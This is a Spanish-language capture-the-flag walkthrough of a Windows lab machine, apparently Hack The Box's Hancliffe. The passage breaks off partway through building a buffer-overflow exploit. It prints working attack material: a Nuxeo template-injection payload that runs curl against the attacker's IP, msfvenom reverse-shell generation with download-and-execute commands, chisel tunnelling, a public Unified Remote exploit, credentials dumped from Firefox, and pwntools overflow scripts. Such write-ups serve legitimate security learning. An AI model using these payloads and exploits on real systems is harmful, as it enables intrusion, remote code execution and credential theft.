Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos entre ellos el 80
que corre un servicio http
❯ nmap 10.10.11.115
Nmap scan report for 10.10.11.115
PORT STATE SERVICE
80/tcp open http
8000/tcp open http-alt
9999/tcp open abyss
En el puerto 9999
que esta abierto parece que esta corriendo algun servicio personalizado sin embargo para acceder a el necesitamos credenciales
validas
❯ netcat 10.10.11.115 9999
Welcome Brankas Application.
Username: username
Password: password
Username or Password incorrect
En el puerto 8000
podemos encontrar un Password Manager
que por ahora no nos sirve de nada y en el 80
una pagina por defecto de nginx
sin nada interesante
Ya que no hay nada interesante podriamos usar wfuzz
para intentar descubrir directorios bajo el puerto 80, la ruta /maintenance
nos devuelve un 302
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.11.115/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.115/FUZZ
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000618: 302 0 L 0 W 0 Ch "maintenance"
Si miramos a donde nos redirige nos lleva a /nuxeo/Maintenance/
, si intentamos acceder desde al navegador nos devolvera 404
ya que /nuxeo no existe
❯ curl -s 10.10.11.115/maintenance -I | grep Location
Location: /nuxeo/Maintenance/
Al agregar una / al final devuelve un 200
ademas nos setea una cookie para /nuxeo
❯ curl http://10.10.11.115/maintenance/ -I
HTTP/1.1 200
Server: nginx/1.21.0
Date: Sun, 22 Oct 2023 13:43:58 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: keep-alive
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=466264FD2C98FE4830D890FC850FED8E.nuxeo; Path=/nuxeo; HttpOnly
Vary: Accept-Encoding
Buscando posibles vulnerabilidades llegamos a un pdf con diferentes payloads para romper la logica parser de diferentes lenguajes, podriamos probar ..;
ya que esta montado en java y al enviarlo nos redirige a /nuxeo/nxstartup.faces
❯ curl 'http://10.10.11.115/maintenance/..;/' -b JSESSIONID=466264FD2C98FE4830D890FC850FED8E.nuxeo -I
HTTP/1.1 302
Server: nginx/1.21.0
Date: Sun, 22 Oct 2023 13:45:06 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *
X-XSS-Protection: 1; mode=block
Location: http://10.10.11.115/nuxeo/nxstartup.faces
Vary: Accept-Encoding
Al acceder al .faces
carga un javascript que nuevamente nos redirige a un .jsp
❯ curl 'http://10.10.11.115/maintenance/..;/nuxeo/nxstartup.faces' -b JSESSIONID=466264FD2C98FE4830D890FC850FED8E.nuxeo -i
HTTP/1.1 401
Server: nginx/1.21.0
Date: Sun, 22 Oct 2023 13:45:42 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 221
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *
X-XSS-Protection: 1; mode=block
<script type="text/javascript">
document.cookie = 'nuxeo.start.url.fragment=' + encodeURIComponent(window.location.hash.substring(1) || '') + '; path=/';
window.location = 'http://10.10.11.115/nuxeo/login.jsp';
</script>
Podemos acceder al login.jsp
desde el navegador aprovechandonos del ..;
al acceder, abajo del todo podemos ver que esta corriendo Nuxeo
en la verión FT 10.2
Shell - svc_account
Al buscar vulnerabilidades de este servicio nos lleva al CVE-2018-16341 que para saber si es vulnerable nos muestra un poc, enviamos /pwn${-7+7}.xhtml
y lo interpreta
Podemos enviar ahora el payload
que nos permite ejecutar comandos para comprobar y si nos enviamos un curl
recibimos la petición, tenemos RCE
http://10.10.11.115/maintenance/..;/login.jsp/pwn${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl 10.10.14.10",null).waitFor()}.xhtml
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.115 - - "GET / HTTP/1.1" 200 -
Para ganar acceso podemos crear un exe
malicioso con msfvenom que nos envie una shell, despues ejecutamos un comando que lo descargue y otro que lo ejecute
❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1885 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe
curl 10.10.14.10/shell.exe -o C:\ProgramData\shell.exe
cmd /c C:/ProgramData/shell.exe
Al descargar el exe y ejecutarlo en la maquina victima nos envia una shell
y solo con esto ya ganamos acceso como el usuario svc_account
en la maquina victima
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115
Windows PowerShell running as user svc_account on HANCLIFFE
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Nuxeo> whoami
hancliffe\svc_account
PS C:\Nuxeo>
Shell - clara
Enumerando el equipo podemos ver que esta instalado Unified Remote 3
que tiene un exploit publico, sabemos que este servicio esta corriendo por puerto local 9512
PS C:\Program Files (x86)\Unified Remote 3> dir
Directory: C:\Program Files (x86)\Unified Remote 3
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/12/2021 12:21 AM Manager
d----- 6/12/2021 12:21 AM uvhid
-a---- 5/29/2017 4:55 AM 1846272 libcryptoMD.dll
-a---- 5/29/2017 4:55 AM 382976 libsslMD.dll
-a---- 11/3/2020 4:50 PM 3243784 RemoteServerWin.exe
-a---- 6/12/2021 12:21 AM 183608 unins000.dat
-a---- 6/12/2021 12:19 AM 2580744 unins000.exe
-a---- 6/12/2021 12:21 AM 23277 unins000.msg
-a---- 10/10/2016 6:27 AM 556544 wcl.dll
-a---- 10/10/2016 5:34 AM 188416 wcl2wbt.dll
PS C:\Program Files (x86)\Unified Remote 3> netstat -nat | Select-String 9512
TCP 0.0.0.0:9512 0.0.0.0:0 LISTENING InHost
UDP 0.0.0.0:9512 *:*
PS C:\Program Files (x86)\Unified Remote 3>
Como desde fuera no tenemos acceso a ese puerto creamos un tunel con chisel
PS C:\ProgramData> curl 10.10.14.10/chisel.exe -o chisel.exe
PS C:\ProgramData> .\chisel.exe client 10.10.14.10:9999 R:socks
❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Ahora pasando por el proxy con proxychains
podemos ejecutar el exploit que requiere 3 argumentos, la ip victima, nuestra ip y el nombre del exe
a ejecutar
❯ proxychains -q python2 49587.py 10.10.11.115 10.10.14.10 shell.exe
[+] Connecting to target...
[+] Popping Start Menu
[+] Opening CMD
[+] *Super Fast Hacker Typing*
[+] Downloading Payload
[+] Done! Check listener?
Despues de ejecutar el exploit este descarga nuestro exe
malicioso y al ejecutarlo nos envia una shell
como el usuario que corre el servicio que es clara
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115 52636
Windows PowerShell running as user clara on HANCLIFFE
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\clara> whoami
hancliffe\clara
PS C:\Users\clara> type Desktop\user.txt
cce**************************bb8
PS C:\Users\clara>
Shell - development
Para enumerar el equipo podemos ejecutar winpeas que entre mucha informacion nos muestra unas credenciales
en texto plano que fueron guardadas en firefox
╔══════════╣ Showing saved credentials for Firefox
Url: http://localhost:8000
Username: hancliffe.htb
Password: #@H@ncLiff3D3velopm3ntM@st3rK3y*!
Aunque en la credencial no se especifica un usuario por descarte podemos deducir que es de development
sin embargo la contrasña no es valida en el sistema
PS C:\Users\clara> net user
User accounts for \\HANCLIFFE
--------------------------------------------------------------------------
Administrator clara DefaultAccount
development Guest svc_account
WDAGUtilityAccount
The command completed successfully.
PS C:\Users\clara>
Al inicio habiamos visto un Password Manager
asi que como el usuario development
y la contraseña encontrada podemos intentar generar la contraseña
del usuario
La nueva contraseña generada es valida en el sistema para el usuaro development
, este usuario puede conectarse a winrm
por lo que podemos ganar una shell
❯ proxychains -q evil-winrm -i 10.10.11.115 -u development -p 'AMl.q2DHp?2.C/V0kNFU'
PS C:\Users\development\Documents> whoami
hancliffe\development
PS C:\Users\development\Documents>
Shell - Administrator
Mirando las rutas excluidas para Windows Defender
a traves de registros podemos encontrar un binario MyFirstApp.exe
que se encuentra en la ruta C:\DevApp
PS C:\Users\development\Documents> reg query 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths'
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
C:\DevApp\MyFirstApp.exe REG_DWORD 0x0
PS C:\Users\development\Documents>
En esa ruta se encuentra el exe
ademas de un script en powershell que simplemente se encarga de reiniciar el proceso cada 3 minutos y exponerlo en el puerto 9999
, ya que es el servicio que corre en ese puerto lo descargaremos para analizarlo
PS C:\DevApp> dir
Directory: C:\DevApp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2021 5:02 AM 60026 MyFirstApp.exe
-a---- 9/14/2021 10:57 AM 636 restart.ps1
PS C:\DevApp> download MyFirstApp.exe MyFirstApp.exe
Info: Downloading C:\DevApp\MyFirstApp.exe to MyFirstApp.exe
Info: Download successful!
PS C:\DevApp>
Iniciemos analizando el binario, para ello podemos usar un desensamblador como ida
, la función main
inicia llamando a WSAStartup
que inicia el uso del archivo dll de Winsock
, luego llama a getaddrinfo
estableciendo los datos de esta estructura
Luego llama a socket
que crea un nuevo socket y guarda el descriptor en una variable s
, si esta es igual a -1
lanza un error de lo contrario sigue la flecha verde
Ahora usando srand
y rand
basandose en el tiempo usando la función time
crea un numero de puerto aleatorio entre 9000
y 9999
, luego utiliza htons
para darle el formato de puerto, lo asigna a la estructura y muestra este puerto con printf
Luego llama a bind
para vincular el socket a la dirección obtenida y a listen
para ponerse en escucha de nuevas conexiones utilizando ese puerto aleatorio
Si se recibe una conexión la acepta utilizando accept
que devuelve un nuevo descriptor, muestra un mensaje que recibió una conexión y crea un nuevo hilo llamando a la función cHandler
que se encarga de controlar las conexiones
La función cHandler inicia reservando espacios de memoria de 0x400
o 1024
bytes, luego con send
envia un mesnaje de bienvenida, siguiendo la linea verde compara el nuevo descriptor con 0
, esto con el fin de comprobar que tenga asignado un valor
Luego mueve a auth
el valor 0
, luego con send
muestra un mensaje que pide un usuario para luego recibir un buffer que copia a la variable username
con strncpy
Repite este mismo proceso pero para la variable password
, en resumen recibe un usuario y una contraseña, una vez recibió ambos llama a la función login
pasandoselos como argumentos y hace un salto condicional con el resultado
Inicia definiendo como usuario la string alfiansyah
, y como contraseña una cadena que parece ser base64
, luego le pasa el segundo parametro como argumento a encrypt1
y el valor que esta función devuelve lo pasa a encrypt2
, mide la longitud, cifra la cadena en base64
y lo compara con la cadena en base64
que define al inicio
Si la contraseña que recibe como argumento al cifrarse es igual a la cadena en base64
definida al inicio devuelve true
, de lo contrario simplemente un false
Analicemos encrypt1
, inicia llamando a strdup
con el argumento para duplicarlo en password
, luego se inicia una variable c
a 0
que servira como contador, compara que no sea mayor que la longitud de la cadena y si no es asi compara el byte actual sea mayor que 0x20
asegurandose que sea un caracter ascii
y no menor
Luego compara el que el byte sea menor que 0x7f
ya que es el valor máximo de caractéres ascii
, si es un caracter válido mueve su valor a eax
y le suma 47
con add
, si el resultado de esta operación es menor que 0x7f
mueve el caracter sin cambios pero si es mayor que 0x7e
resta 0x5e
, esto es un cifrado muy conocido llamado rot47, ahora que sabemos la operación podemos realizarla a la inversa
Vamos con encrypt2
, este inicia duplicando el argumento a password con strdup
, inicializa c
a 0
como contador, luego compara que no sea mas grande que la longitud que la string, mueve el byte actual a eax
y compara si es mayor que 0x40
osea que sea igual o mayor a 0x41
que en representación ascii es A
o mayor
Tambien compara que sea igual o menor que 0x5a
que en ascii es Z
, realiza la misma comparación con a
y z
minuscula por lo que podriamos tomarlo como un if
que compara que el byte esté entre A-Z
o a-z
, luego compara si el caracter es mayuscula o minuscula, dependiendo del resultado de la un valor a la variable uppercase
, en el caso de que sea mayuscula la convierte a minuscula agregando 0x20
, podemos ver su funcionamiento bastante resumido en python con ord
y chr
❯ python3 -q
>>> chr(ord("A") + 0x20)
'a'
>>>
Ahora mueve el caracter ya en minuscula a eax
y le resta 0x61
, luego mueve a ecx
0x7a
y le resta el valor en eax
, por lo que podriamos describirlo como 0x7a - (character - 0x61)
, esto si lo vemos en python convierte la a
en z
, la b
en y
, la c
en x
, esto se llama cifrado espejo o atbash, ya tenemos todoss los cifrados
❯ python3 -q
>>> chr(0x7a - (ord("a") - 0x61))
'z'
>>> chr(0x7a - (ord("b") - 0x61))
'y'
>>> chr(0x7a - (ord("c") - 0x61))
'x'
>>>
Al ser cifrados sencillos podemos decifrar la cadena ayudandonos de cyberchef, ahora tenemos el usuario y contraseña en texto plano y podemos autenticarnos
Volvemos a cHandler
, después de llamar a auth
si este devuelve true
reserva un espacio en memoria y ahora recibe el campo fullname
, si auth devuelve false
simplemente cierra el socket enviando un mensaje de credenciales incorrectas
El siguiente bloque reserva un espacio en memoria esta vez para un campo code
, luego llama a SaveCreds
pasandole el buffer recibido como argumento, luego compara lo que esta función devuelve con la string T3D83CbJkl1299
Si el código correcto compara que la variable fullname
sea igual a Vickry Alfiansyah
para enviar el mensaje Unlocked
, si es incorrecto envia un mensaje y cierra el socket
Ya obtenida la contraseña podemos autenticarnos al servicio con todos los datos que hemos conseguido, y aunque nos dice Unlocked
no podemos hacer nada
❯ netcat 192.168.100.5 9232
Welcome Brankas Application.
Username: alfiansyah
Password: K3r4j@@nM4j@pAh!T
Login Successfully!
FullName: Vickry Alfiansyah
Input Your Code: T3D83CbJkl1299
Unlocked
Si revisamos la función SaveCreds
que recibe el código copia este código a un destino que se encuentra en ebp - 62
, esto es importante porque si enviamos un payload mayor a eso ocasionaremos un buffer overflow sobrescribiendo otros datos
Para poder debuggear el ejecutable ejecutaremos la aplicación dentro WinDbg
Si el buffer reservado para el código se encuentra en ebp - 62
enviaremos A's
para llenar ese buffer, luego enviaremos 4 B's
para el valor que tomará ebp
, 4 C's
que sobrescribirán la dirección de retorno y 30 D's
que solo se guardarán en el stack
#!/usr/bin/python3
from pwn import remote, log, sys
if len(sys.argv) < 2:
log.failure(f"Usage: python3 {sys.argv[0]} <port>")
sys.exit(1)
payload = b""
payload += b"A" * 62
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 30
shell = remote("192.168.100.5", sys.argv[1])
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
Algo a tener en cuenta es que como vimos al reversear el puerto es dinamico por lo que es mas sencillo pasarle el puerto al script simplemente como un argumento
❯ python3 exploit.py 9217
[+] Opening connection to 192.168.100.5 on port 9217: Done
[*] Closed connection to 192.168.100.5 port 9217
Al ejecutar el exploit podemos ver que las B's
sobrescriben el valor de ebp
y las C's
sobrescriben el retorno, sin embargo solo hay una cosa que no se representó correctamente y es que de las 30 D's
enviadas solo se guardaron 10
en el stack
0:000> g
(2bb8.1a84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00d6fed6 ebx=0000015c ecx=007b3db4 edx=00000000 esi=71901a3d edi=71901a3d
eip=43434343 esp=00d6ff1c ebp=42424242 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
43434343 ?? ???
0:000> r ebp
ebp=42424242
0:000> r eip
eip=43434343
0:000> db esp
00d6ff1c 44 44 44 44 44 44 44 44-44 44 ab ab ab ab ab ab DDDDDDDDDD......
00d6ff2c ab ab 00 00 00 00 00 00-00 4b 33 72 34 6a 40 40 .........K3r4j@@
00d6ff3c 6e 4d 34 6a 40 70 41 68-21 54 61 6c 66 69 61 6e nM4j@pAh!Talfian
00d6ff4c 73 79 61 68 12 00 00 00-c0 3d 7b 00 58 3d 7b 00 syah.....={.X={.
00d6ff5c 01 00 00 00 1d 00 00 00-5c 01 00 00 10 39 7b 00 ........\....9{.
00d6ff6c 00 00 00 00 00 00 00 00-84 ff d6 00 a9 7b 8a 77 .............{.w
00d6ff7c 5c 01 00 00 90 7b 8a 77-dc ff d6 00 0b c1 a1 77 \....{.w.......w
00d6ff8c 5c 01 00 00 f0 89 50 5f-00 00 00 00 00 00 00 00 \.....P_........
Solo 10
bytes es muy poco incluso para otras técnicas como egghunters, por suerte según documentación oficial de microsoft strcpy
retorna un puntero al buffer de destino por lo que en eax
se almacena la dirección del inicio de nuestro payload
0:000> db eax
00d6fed6 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d6fee6 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d6fef6 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d6ff06 41 41 41 41 41 41 41 41-41 41 41 41 41 41 42 42 AAAAAAAAAAAAAABB
00d6ff16 42 42 43 43 43 43 44 44-44 44 44 44 44 44 44 44 BBCCCCDDDDDDDDDD
00d6ff26 ab ab ab ab ab ab ab ab-00 00 00 00 00 00 00 4b ...............K
00d6ff36 33 72 34 6a 40 40 6e 4d-34 6a 40 70 41 68 21 54 3r4j@@nM4j@pAh!T
00d6ff46 61 6c 66 69 61 6e 73 79-61 68 12 00 00 00 c0 3d alfiansyah.....=
En lugar de saltar a esp
saltaremos a eax
, de esta forma tendremos 66
bytes disponibles, aun no son suficientes para un shellcode pero es mejor que los 10
bytes de antes, con mona
podemos obtener una dirección que ejecute ese jmp eax
0:000> !py mona jmp -r eax -m myfirstapp.exe
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r eax -m myfirstapp.exe
---------- Mona command started on 2024-07-24 20:15:21 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules myfirstapp.exe
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
- Querying module MyFirstApp.exe
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
- Number of pointers of type 'jmp eax' : 2
- Number of pointers of type 'call eax' : 60
[+] Results :
0x719023b3 | 0x719023b3 : jmp eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x71902c5f | 0x71902c5f : jmp eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x71901212 | 0x71901212 : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x719015a6 | 0x719015a6 : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x7190167a | 0x7190167a : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x71901708 | 0x71901708 : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x7190172e | 0x7190172e : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x71901765 | 0x71901765 : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x71901778 | 0x71901778 : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x71901798 | 0x71901798 : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x719017a2 | 0x719017a2 : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x7190180e | 0x7190180e : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x7190185b | 0x7190185b : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x7190186e | 0x7190186e : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x719018a7 | 0x719018a7 : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x719018ba | 0x719018ba : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x719018da | 0x719018da : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x719018ea | 0x719018ea : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x719018f4 | 0x719018f4 : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x7190191f | 0x7190191f : call eax | {PAGE_EXECUTE_READ} [MyFirstApp.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open C:\mona\jmp.txt...
Found a total of 62 pointers
Ahora en la dirección de retorno ejecutaremos el jmp eax
por lo que saltará al inicio de nuestro payload e intentará representar las A's
que enviamos como junk
#!/usr/bin/python3
from pwn import remote, log, sys, p32
if len(sys.argv) < 2:
log.failure(f"Usage: python3 {sys.argv[0]} <port>")
sys.exit(1)
offset = 66
junk = b"A" * offset
jmpeax = p32(0x719023b3)
payload = junk + jmpeax
shell = remote("192.168.100.5", sys.argv[1])
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
Podemos comprobarlo ejecutando el exploit, al caer en el breakpoint del salto y ejecutarlo podemos ver que ahora en eip
están las A's
, pero aun tenemos la limitación de solo 66
bytes, en este post veremos 3
formas de explotación
0:000> bp 0x719023b3
0:000> g
Breakpoint 0 hit
eax=0101fed6 ebx=00000138 ecx=00c13b70 edx=000a7190 esi=71901a3d edi=71901a3d
eip=719023b3 esp=0101ff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MyFirstApp+0x23b3:
719023b3 ffe0 jmp eax {0101fed6}
0:000> p
eax=0101fed6 ebx=00000138 ecx=00c13b70 edx=000a7190 esi=71901a3d edi=71901a3d
eip=0101fed6 esp=0101ff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0101fed6 41 inc ecx
0:000> db eip
0101fed6 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0101fee6 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0101fef6 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0101ff06 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0101ff16 41 41 b3 23 90 71 0a 00-c1 00 90 3b c1 00 50 00 AA.#.q.....;..P.
0101ff26 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 4b ...............K
0101ff36 33 72 34 6a 40 40 6e 4d-34 6a 40 70 41 68 21 54 3r4j@@nM4j@pAh!T
0101ff46 61 6c 66 69 61 6e 73 79-61 68 12 00 00 00 90 3b alfiansyah.....;
Buffer Overflow - socket reuse
La primera forma de explotarlo es haciendo uso de la funcion recv()
para recibir datos de nuevo del socket
y ahi poder enviar nuestro shellcode a ejecutar
0:000> !py mona getiat -m myfirstapp.exe -s recv
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py getiat -m myfirstapp.exe -s recv
---------- Mona command started on 2024-07-24 20:18:34 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules myfirstapp.exe
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
[+] Preparing output file 'iatsearch.txt'
- (Re)setting logfile C:\mona\iatsearch.txt
Getting IAT for MyFirstApp.exe.
Enumerating IAT
0x719082ac | At 0x719082ac in myfirstapp (base + 0x000082ac) : 0x766e5f50 (ptr to WS2_32.recv) - [WS2_32] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.22621.1 WS2_32.dll, 0x4140
1 entries found
Mirando la documentación esta funcion requiere 4 parametros, el descriptor
del socket, la direccion
donde se escribiran los datos, la longitud
maxima que podra recibir y por ultimo las flags
que generalmente se puede dejar simplemente en 0
int recv(
[in] SOCKET s,
[out] char *buf,
[in] int len,
[in] int flags
);
Estos argumentos
se pasan simplemente haciendoles un push
en orden inverso para dejarlos en la pila, para entenderlo podemos hacer un breakpoint en el recv
, los argumentos podemos establecerlos a nuestro gusto excepto uno, el descriptor del socket ya que al reutilizarlo necesitamos que sea el mismo que el inicial
0:000> bp 0x71901d74
0:000> g
Breakpoint 0 hit
eax=00000140 ebx=00000140 ecx=00000002 edx=00fcff08 esi=71901a3d edi=71901a3d
eip=71901d74 esp=00fcff1c ebp=00fcff74 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MyFirstApp+0x1d74:
71901d74 a1ac829071 mov eax,dword ptr [MyFirstApp+0x82ac (719082ac)] ds:002b:719082ac={WS2_32!recv (766e5f50)}
0:000> dds esp L4
00fcff1c 00000140
00fcff20 00bc36e0
00fcff24 00000400
00fcff28 00000000
Unas instrucciones antes de la llamada podemos ver como establece los argumentos, el primero que es el descriptor lo toma de ebp - 0x10
, sabemos su ubicación pero no podemos tomarla relativa a ebp
ya que al explotar el buffer overflow sobrescribimos este puntero, asi que podemos calcularla relativa a esp
que sería esp + 0x48
0:000> u eip-6 L4
MyFirstApp+0x1d6e:
71901d6e 8b45f0 mov eax,dword ptr [ebp-10h]
71901d71 890424 mov dword ptr [esp],eax
71901d74 a1ac829071 mov eax,dword ptr [MyFirstApp+0x82ac (719082ac)]
71901d79 ffd0 call eax
0:000> dd ebp - 0x10 L1
00fcff64 00000140
0:000> ? (ebp - 0x10) - esp
Evaluate expression: 72 = 00000048
0:000> dd esp + 0x48 L1
00fcff64 00000140
La primera instruccion que ejecutaremos sera mover a esi
el contenido de la direccion esp + 0x48
para asi almacenar el descriptor antes de alterar el stack
#!/usr/bin/python3
from pwn import remote, log, sys, p32, asm
if len(sys.argv) < 2:
log.failure(f"Usage: python3 {sys.argv[0]} <port>")
sys.exit(1)
recv = b""
recv += asm("mov esi, [esp + 0x48]")
offset = 66
junk = b"A" * (offset - len(recv))
jmpeax = p32(0x719023b3)
payload = recv + junk + jmpeax
shell = remote("192.168.100.5", sys.argv[1])
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
Al ejecutar la instruccion despues de saltar a eax
podemos ver que el descriptor del socket se ha almacenado correctamente en el registro esi
que usaremos después
0:000> bp 0x719023b3
0:000> g
Breakpoint 0 hit
eax=00f8fed6 ebx=0000013c ecx=00d83b70 edx=000a7190 esi=71901a3d edi=71901a3d
eip=719023b3 esp=00f8ff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MyFirstApp+0x23b3:
